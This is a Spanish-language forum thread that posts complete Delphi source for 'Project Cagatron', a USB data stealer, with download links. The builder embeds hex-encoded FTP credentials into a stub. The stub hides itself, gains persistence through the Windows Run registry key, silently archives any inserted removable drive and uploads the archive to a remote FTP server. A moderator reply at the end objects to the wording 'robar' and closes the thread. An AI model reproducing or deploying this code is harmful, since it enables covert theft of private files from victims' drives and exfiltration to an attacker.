[Delphi] Project Cagatron 1.0

[BigBear]

Un simple programa en Delphi para robar extraer los datos de un USB con las siguientes opciones :

• Detecta cualquier USB conectado a la computadora
  
• Comprime los datos un archivo comprimido en una carpeta oculta de la computadora
  
• Permite la opcion de enviar los datos por FTP o dejarlos en la computadora
  
  Una imagen :
  
  
  
  Los codigos :
  
  El generador.
  
  
  Código (delphi) [Seleccionar] Expandir
  
// Project Cagatron 1.0
// (C) Doddy Hackman 2015
// Based on Ladron by Khronos

unit caga;

interface

uses
 Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
 System.Classes, Vcl.Graphics,
 Vcl.Controls, Vcl.Forms, Vcl.Dialogs, sevenzip, Vcl.ComCtrls, Vcl.StdCtrls,
 ShellApi,
 Vcl.Menus, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
 IdExplicitTLSClientServerBase, IdFTP, Vcl.ExtCtrls, Vcl.Imaging.pngimage;

type
 TForm1 = class(TForm)
   PageControl1: TPageControl;
   TabSheet1: TTabSheet;
   TabSheet2: TTabSheet;
   TabSheet3: TTabSheet;
   StatusBar1: TStatusBar;
   PageControl2: TPageControl;
   TabSheet4: TTabSheet;
   usb_found: TListView;
   TabSheet5: TTabSheet;
   TabSheet6: TTabSheet;
   GroupBox1: TGroupBox;
   Label1: TLabel;
   ftp_host: TEdit;
   Label2: TLabel;
   ftp_user: TEdit;
   Label3: TLabel;
   ftp_pass: TEdit;
   Label4: TLabel;
   ftp_path: TEdit;
   GroupBox2: TGroupBox;
   enter_usb: TEdit;
   Button1: TButton;
   Button2: TButton;
   GroupBox3: TGroupBox;
   upload_ftp_server: TRadioButton;
   TabSheet7: TTabSheet;
   GroupBox4: TGroupBox;
   console: TMemo;
   TabSheet8: TTabSheet;
   only_logs: TRadioButton;
   logs: TListView;
   rutas: TListBox;
   menu: TPopupMenu;
   L1: TMenuItem;
   IdFTP1: TIdFTP;
   buscar_usb: TTimer;
   otromenu: TPopupMenu;
   S1: TMenuItem;
   opcion_text: TEdit;
   PageControl3: TPageControl;
   TabSheet9: TTabSheet;
   TabSheet10: TTabSheet;
   GroupBox5: TGroupBox;
   Label5: TLabel;
   Label6: TLabel;
   Label7: TLabel;
   Label8: TLabel;
   ftp_host2: TEdit;
   ftp_user2: TEdit;
   ftp_pass2: TEdit;
   ftp_path2: TEdit;
   GroupBox7: TGroupBox;
   directorios: TComboBox;
   GroupBox6: TGroupBox;
   foldername: TEdit;
   Button3: TButton;
   GroupBox8: TGroupBox;
   Image1: TImage;
   Label9: TLabel;
   Image2: TImage;
   GroupBox9: TGroupBox;
   hide_file: TCheckBox;
   upload_ftp: TCheckBox;
   procedure FormCreate(Sender: TObject);
   procedure Button1Click(Sender: TObject);
   procedure Button2Click(Sender: TObject);
   procedure list_files;
   procedure L1Click(Sender: TObject);
   procedure buscar_usbTimer(Sender: TObject);
   procedure S1Click(Sender: TObject);
   procedure Button3Click(Sender: TObject);

 private
   { Private declarations }
 public
   { Public declarations }
 end;

var
 Form1: TForm1;

implementation

{$R *.dfm}

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
 num: integer;
 aca: string;
 cantidad: integer;

begin

 num := 0;
 Result := '';
 aca := '';
 cantidad := 0;

 if (opcion = 'encode') then
 begin
   cantidad := length(texto);
   for num := 1 to cantidad do
   begin
     aca := IntToHex(ord(texto[num]), 2);
     Result := Result + aca;
   end;
 end;

 if (opcion = 'decode') then
 begin
   cantidad := length(texto);
   for num := 1 to cantidad div 2 do
   begin
     aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
     Result := Result + aca;
   end;
 end;

end;

function usb_name(checked: Char): string;
// Based on http://delphitutorial.info/get-volume-name.html
var
 uno, dos: DWORD;
 resultnow: array [0 .. MAX_PATH] of Char;
begin
 try
   GetVolumeInformation(PChar(checked + ':/'), resultnow, sizeof(resultnow),
     nil, uno, dos, nil, 0);
   Result := StrPas(resultnow);
 except
   Result := checked;
 end;
end;

function check_drive(target: string): boolean;
var
 a, b, c: cardinal;
begin
 Result := GetVolumeInformation(PChar(target), nil, 0, @c, a, b, nil, 0);
end;

function file_size(target: String): integer;
var
 busqueda: TSearchRec;
begin
 Result := 0;
 try
   begin
     if FindFirst(target + '\*.*', faAnyFile + faDirectory + faReadOnly,
       busqueda) = 0 then
     begin
       repeat
         Inc(Result);
       until FindNext(busqueda) <> 0;
       System.SysUtils.FindClose(busqueda);
     end;
   end;
 except
   Result := 0;
 end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
 if not DirectoryExists('logs') then
 begin
   CreateDir('logs');
 end;
 Chdir('logs');
 list_files;
end;

procedure TForm1.L1Click(Sender: TObject);
begin
 ShellExecute(0, nil, PChar(rutas.Items[logs.Selected.Index]), nil, nil,
   SW_SHOWNORMAL);
end;

procedure TForm1.list_files;
var
 search: TSearchRec;
 ext: string;
 fecha1: integer;
begin

 logs.Items.Clear();
 rutas.Items.Clear();

 FindFirst(ExtractFilePath(Application.ExeName) + 'logs' + '\*.*',
   faAnyFile, search);
 while FindNext(search) = 0 do
 begin
   ext := ExtractFileExt(search.Name);
   if (ext = '.zip') then
   begin
     with logs.Items.Add do
     begin
       fecha1 := FileAge(ExtractFilePath(Application.ExeName) + 'logs/' +
         search.Name);
       rutas.Items.Add(ExtractFilePath(Application.ExeName) + 'logs/' +
         search.Name);
       Caption := search.Name;
       SubItems.Add(DateToStr(FileDateToDateTime(fecha1)));
     end;
   end;
 end;
 FindClose(search);
end;

procedure TForm1.S1Click(Sender: TObject);
begin
 opcion_text.Text := usb_found.Selected.Caption;
 enter_usb.Text := usb_found.Selected.SubItems[1];
end;

procedure TForm1.buscar_usbTimer(Sender: TObject);
var
 unidad: Char;
begin
 usb_found.Items.Clear();
 for unidad := 'C' to 'Z' do
 begin
   if (check_drive(PChar(unidad + ':\')) = True) and
     (GetDriveType(PChar(unidad + ':\')) = DRIVE_REMOVABLE) then
   begin
     with usb_found.Items.Add do
     begin
       Caption := usb_name(unidad);
       SubItems.Add(IntToStr(file_size(unidad + ':\')));
       SubItems.Add(unidad + ':\');
     end;
   end;
 end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
 with TFileOpenDialog.Create(nil) do
   try
     Options := [fdoPickFolders];
     if Execute then
       enter_usb.Text := Filename;
   finally
     Free;
   end;
end;

procedure TForm1.Button2Click(Sender: TObject);
var
 zipnow: I7zOutArchive;
 busqueda: TSearchRec;
 code: string;
 dirnow: string;
 guardar: string;

begin

 dirnow := enter_usb.Text;

 if not FileExists(PChar(ExtractFilePath(Application.ExeName) + '/' + '7z.dll'))
 then
 begin
   CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' + 'Data/7z.dll'),
     PChar(ExtractFilePath(Application.ExeName) + '/' + '7z.dll'), True);
 end;

 if not(opcion_text.Text = '') then
 begin
   guardar := opcion_text.Text + '.zip';
 end
 else
 begin
   guardar := ExtractFileName(dirnow) + '.zip';
 end;

 StatusBar1.Panels[0].Text := '[+] Saving ...';
 Form1.StatusBar1.Update;

 console.Lines.Add('[+] Saving ..');

 zipnow := CreateOutArchive(CLSID_CFormat7z);
 SetCompressionLevel(zipnow, 9);
 SevenZipSetCompressionMethod(zipnow, m7LZMA);

 if FindFirst(dirnow + '\*.*', faAnyFile + faDirectory + faReadOnly,
   busqueda) = 0 then
 begin
   repeat
     if (busqueda.Attr = faDirectory) then
     begin
       if not(busqueda.Name = '.') and not(busqueda.Name = '..') then
       begin
         console.Lines.Add('[+] Saving Directory : ' + busqueda.Name);
         // StatusBar1.Panels[0].Text := '[+] Saving Directory : ' + busqueda.Name;
         // Form1.StatusBar1.Update;
         zipnow.AddFiles(dirnow + '/' + busqueda.Name, busqueda.Name,
           '*.*', True);
       end;
     end
     else
     begin
       console.Lines.Add('[+] Saving File : ' + busqueda.Name);
       // StatusBar1.Panels[0].Text := '[+] Saving File : ' + busqueda.Name;
       // Form1.StatusBar1.Update;
       zipnow.AddFile(dirnow + '/' + busqueda.Name, busqueda.Name);
     end;
   until FindNext(busqueda) <> 0;
   System.SysUtils.FindClose(busqueda);
 end;

 zipnow.SaveToFile(guardar);

 if (upload_ftp_server.checked) then
 begin
   IdFTP1.Host := ftp_host.Text;
   IdFTP1.Username := ftp_user.Text;
   IdFTP1.Password := ftp_pass.Text;
   try
     IdFTP1.Connect;
   except
     StatusBar1.Panels[0].Text := '[-] Error Uploading';
     Form1.StatusBar1.Update;
   end;

   StatusBar1.Panels[0].Text := '[+] Uploading ...';
   Form1.StatusBar1.Update;

   IdFTP1.ChangeDir(ftp_path.Text);
   IdFTP1.Put(guardar, guardar, False);
 end;

 list_files;

 console.Lines.Add('[+] Ready');

 StatusBar1.Panels[0].Text := '[+] Ready';
 Form1.StatusBar1.Update;

 opcion_text.Text := '';

end;

procedure TForm1.Button3Click(Sender: TObject);
var
 lineafinal: string;
 hidefile: string;
 uploadftp: string;
 aca: THandle;
 code: Array [0 .. 9999 + 1] of Char;
 nose: DWORD;
 stubgenerado: string;

begin

 if (hide_file.checked) then
 begin
   hidefile := '1';
 end
 else
 begin
   hidefile := '0';
 end;

 if (upload_ftp.checked) then
 begin
   uploadftp := '1';
 end
 else
 begin
   uploadftp := '0';
 end;

 lineafinal := '[63686175]' + dhencode('[online]1[online]' + '[directorios]' +
   directorios.Text + '[directorios]' + '[carpeta]' + foldername.Text +
   '[carpeta]' + '[ocultar]' + hidefile + '[ocultar]' + '[ftp_op]' + uploadftp
   + '[ftp_op]' + '[ftp_host]' + ftp_host.Text + '[ftp_host]' + '[ftp_user]' +
   ftp_user.Text + '[ftp_user]' + '[ftp_pass]' + ftp_pass.Text + '[ftp_pass]' +
   '[ftp_path]' + ftp_path.Text + '[ftp_path]', 'encode') + '[63686175]';

 aca := INVALID_HANDLE_VALUE;
 nose := 0;

 stubgenerado := 'cagatron_ready.exe';

 DeleteFile(stubgenerado);
 CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' +
   'Data/cagatron_server.exe'), PChar(ExtractFilePath(Application.ExeName) +
   '/' + stubgenerado), True);

 CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' + 'Data/7z.dll'),
   PChar(ExtractFilePath(Application.ExeName) + '/' + '7z.dll'), True);

 StrCopy(code, PChar(lineafinal));
 aca := CreateFile(PChar(ExtractFilePath(Application.ExeName) +
   '/cagatron_ready.exe'), GENERIC_WRITE, FILE_SHARE_READ, nil,
   OPEN_EXISTING, 0, 0);
 if (aca <> INVALID_HANDLE_VALUE) then
 begin
   SetFilePointer(aca, 0, nil, FILE_END);
   WriteFile(aca, code, 9999, nose, nil);
   CloseHandle(aca);
 end;

 StatusBar1.Panels[0].Text := '[+] Done';
 Form1.StatusBar1.Update;

end;

end.

// The End ?

  
  El Stub.
  
  
  Código (delphi) [Seleccionar] Expandir
  
// Project Cagatron 1.0
// (C) Doddy Hackman 2015
// Based on Ladron by Khronos

program cagatron_server;

{$APPTYPE GUI}
{$R *.res}

uses
 SysUtils, WinInet, Windows, sevenzip;

var
 directorio, directorio_final, carpeta, nombrereal, yalisto: string;
 hide_op: string;
 registro: HKEY;
 ftp_op, ftp_host, ftp_user, ftp_pass, ftp_path: string;
 online: string;

 ob: THandle;
 code: Array [0 .. 9999 + 1] of Char;
 nose: DWORD;
 todo: string;

 // Functions

function regex(text: String; deaca: String; hastaaca: String): String;
begin
 Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
 SetLength(text, AnsiPos(hastaaca, text) - 1);
 Result := text;
end;

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
 num: integer;
 aca: string;
 cantidad: integer;

begin

 num := 0;
 Result := '';
 aca := '';
 cantidad := 0;

 if (opcion = 'encode') then
 begin
   cantidad := Length(texto);
   for num := 1 to cantidad do
   begin
     aca := IntToHex(ord(texto[num]), 2);
     Result := Result + aca;
   end;
 end;

 if (opcion = 'decode') then
 begin
   cantidad := Length(texto);
   for num := 1 to cantidad div 2 do
   begin
     aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
     Result := Result + aca;
   end;
 end;

end;

procedure comprimir(dirnow, guardar: string);
var
 zipnow: I7zOutArchive;
 busqueda: TSearchRec;
begin

 zipnow := CreateOutArchive(CLSID_CFormat7z);
 SetCompressionLevel(zipnow, 9);
 SevenZipSetCompressionMethod(zipnow, m7LZMA);

 if FindFirst(dirnow + '\*.*', faAnyFile + faDirectory + faReadOnly,
   busqueda) = 0 then
 begin
   repeat
     if (busqueda.Attr = faDirectory) then
     begin
       if not(busqueda.Name = '.') and not(busqueda.Name = '..') then
       begin
         zipnow.AddFiles(dirnow + '/' + busqueda.Name, busqueda.Name,
           '*.*', True);
       end;
     end
     else
     begin
       zipnow.AddFile(dirnow + '/' + busqueda.Name, busqueda.Name);
     end;
   until FindNext(busqueda) <> 0;
   System.SysUtils.FindClose(busqueda);
 end;

 zipnow.SaveToFile(guardar);

 if (hide_op = '1') then
 begin
   SetFileAttributes(pchar(guardar), FILE_ATTRIBUTE_HIDDEN);
 end;

end;

function usb_name(checked: Char): string;
// Based on http://delphitutorial.info/get-volume-name.html
var
 uno, dos: DWORD;
 resultnow: array [0 .. MAX_PATH] of Char;
begin
 try
   GetVolumeInformation(pchar(checked + ':/'), resultnow, sizeof(resultnow),
     nil, uno, dos, nil, 0);
   Result := StrPas(resultnow);
 except
   Result := checked;
 end;
end;

function check_drive(target: string): boolean;
var
 a, b, c: cardinal;
begin
 Result := GetVolumeInformation(pchar(target), nil, 0, @c, a, b, nil, 0);
end;

function check_file_ftp(host, username, password, archivo: pchar): integer;
var
 controluno: HINTERNET;
 controldos: HINTERNET;
 abriendo: HINTERNET;
 valor: integer;

begin

 controluno := InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
 controldos := InternetConnect(controluno, host, INTERNET_DEFAULT_FTP_PORT,
   username, password, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);

 abriendo := ftpOpenfile(controldos, pchar(archivo), GENERIC_READ,
   FTP_TRANSFER_TYPE_BINARY, 0);
 valor := ftpGetFileSize(abriendo, nil);

 InternetCloseHandle(controldos);
 InternetCloseHandle(controluno);

 Result := valor;

end;

procedure upload_ftpfile(host, username, password, filetoupload,
 conestenombre: pchar);

// Credits :
// Based on : http://stackoverflow.com/questions/1380309/why-is-my-program-not-uploading-file-on-remote-ftp-server
// Thanks to Omair Iqbal

var
 controluno: HINTERNET;
 controldos: HINTERNET;

begin

 try

   begin
     controluno := InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
     controldos := InternetConnect(controluno, host, INTERNET_DEFAULT_FTP_PORT,
       username, password, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
     ftpPutFile(controldos, filetoupload, conestenombre,
       FTP_TRANSFER_TYPE_BINARY, 0);
     InternetCloseHandle(controldos);
     InternetCloseHandle(controluno);
   end
 except
   //
 end;
end;

procedure buscar_usb;
var
 unidad: Char;
 usb_target, usb_nombre: string;
begin
 while (1 = 1) do
 begin
   Sleep(5000);
   for unidad := 'C' to 'Z' do
   begin
     if (check_drive(pchar(unidad + ':\')) = True) and
       (GetDriveType(pchar(unidad + ':\')) = DRIVE_REMOVABLE) then
     begin
       usb_target := unidad + ':\';
       usb_nombre := usb_name(unidad) + '.zip';
       if not(FileExists(usb_nombre)) then
       begin
         // Writeln('[+] Saving ' + usb_target + ' : ' + usb_nombre + ' ...');
         comprimir(usb_target, usb_nombre);
         // Writeln('[+] Saved');
         if (ftp_op = '1') then
         begin
           // Writeln('[+] Checking file in FTP ...');
           if (check_file_ftp(pchar(ftp_host), pchar(ftp_user),
             pchar(ftp_pass), pchar('/' + ftp_path + '/' + usb_nombre)) = -1)
           then
           begin
             // Writeln('[+] Uploading ...');
             upload_ftpfile(pchar(ftp_host), pchar(ftp_user), pchar(ftp_pass),
               pchar(usb_nombre), pchar('/' + ftp_path + '/' + usb_nombre));
             // Writeln('[+] Done');
           end
           else
           begin
             // Writeln('[+] File exists');
           end;
         end;
       end;
     end;
   end;
 end;
end;

begin

 try

   ob := INVALID_HANDLE_VALUE;
   code := '';

   ob := CreateFile(pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
     OPEN_EXISTING, 0, 0);
   if (ob <> INVALID_HANDLE_VALUE) then
   begin
     SetFilePointer(ob, -9999, nil, FILE_END);
     ReadFile(ob, code, 9999, nose, nil);
     CloseHandle(ob);
   end;

   todo := regex(code, '[63686175]', '[63686175]');
   todo := dhencode(todo, 'decode');

   directorio := pchar(regex(todo, '[directorios]', '[directorios]'));
   carpeta := pchar(regex(todo, '[carpeta]', '[carpeta]'));
   directorio_final := GetEnvironmentVariable(directorio) + '/' + carpeta;
   hide_op := pchar(regex(todo, '[ocultar]', '[ocultar]'));

   ftp_op := pchar(regex(todo, '[ftp_op]', '[ftp_op]'));
   ftp_host := pchar(regex(todo, '[ftp_host]', '[ftp_host]'));
   ftp_user := pchar(regex(todo, '[ftp_user]', '[ftp_user]'));
   ftp_pass := pchar(regex(todo, '[ftp_pass]', '[ftp_pass]'));
   ftp_path := pchar(regex(todo, '[ftp_path]', '[ftp_path]'));

   online := pchar(regex(todo, '[online]', '[online]'));

   if (online = '1') then
   begin
     nombrereal := ExtractFileName(paramstr(0));
     yalisto := directorio_final + '/' + nombrereal;

     if not(DirectoryExists(directorio_final)) then
     begin
       CreateDir(directorio_final);
     end;

     // CopyFile(pchar(paramstr(0)), pchar(yalisto), False);
     MoveFile(pchar(paramstr(0)), pchar(yalisto));
     if (hide_op = '1') then
     begin
       SetFileAttributes(pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);
     end;
     if (FileExists('7z.dll')) then
     begin
       // CopyFile(pchar('7z.dll'),
       // pchar(directorio_final + '/' + '7z.dll'), False);
       MoveFile(pchar('7z.dll'), pchar(directorio_final + '/' + '7z.dll'));
       if (hide_op = '1') then
       begin
         SetFileAttributes(pchar(directorio_final + '/' + '7z.dll'),
           FILE_ATTRIBUTE_HIDDEN);
       end;
     end;

     ChDir(directorio_final);

     if (hide_op = '1') then
     begin
       SetFileAttributes(pchar(directorio_final), FILE_ATTRIBUTE_HIDDEN);
     end;

     try
       begin
         RegCreateKeyEx(HKEY_LOCAL_MACHINE,
           'Software\Microsoft\Windows\CurrentVersion\Run\', 0, nil,
           REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, registro, nil);
         RegSetValueEx(registro, 'uberk', 0, REG_SZ, pchar(yalisto), 666);
         RegCloseKey(registro);
       end;
     except
       //
     end;

     // Writeln('[+] Searching USB ...');

     BeginThread(nil, 0, @buscar_usb, nil, 0, PDWORD(0)^);

     while (1 = 1) do
       Sleep(5000);
   end
   else
   begin
     // Writeln('[+] Offline');
   end;

 except
   on E: Exception do
     Writeln(E.ClassName, ': ', E.Message);
 end;

end.

// The End ?

  
  Un video con ejemplos de uso :
  
  [youtube=640,360]https://www.youtube.com/watch?v=LhRZZrUGPA8[/youtube]
  
  Si quieren bajar el programa lo pueden hacer de aca :
  
  SourceForge.
  Github.
  
  Eso seria todo.

[dani1994]

Buenisimo aporte! Buenas ante todo, necesito ayuda, quiero CENSURADO
Por favor ayundeme!! GRACIAS!

[Eleкtro]

@dani1994
Lee las normas del foro, pedir ayuda para cometer actos delictivos es un tema PROHIBIDO.

Aquí no se ayuda a robar, los código fuente de las aplicaciones publicados son con fines educativos.

Conclusión, evita hablar de esos temas.

@Doddy
Gracias por compartir, pero conoces las reglas del foro, si publicas una aplicación que sabes que se va a utilizar con fines no éticos al menos intenta cuidar las palabras que utilices... como 'ROBAR'.

Tema cerrado.

Saludos!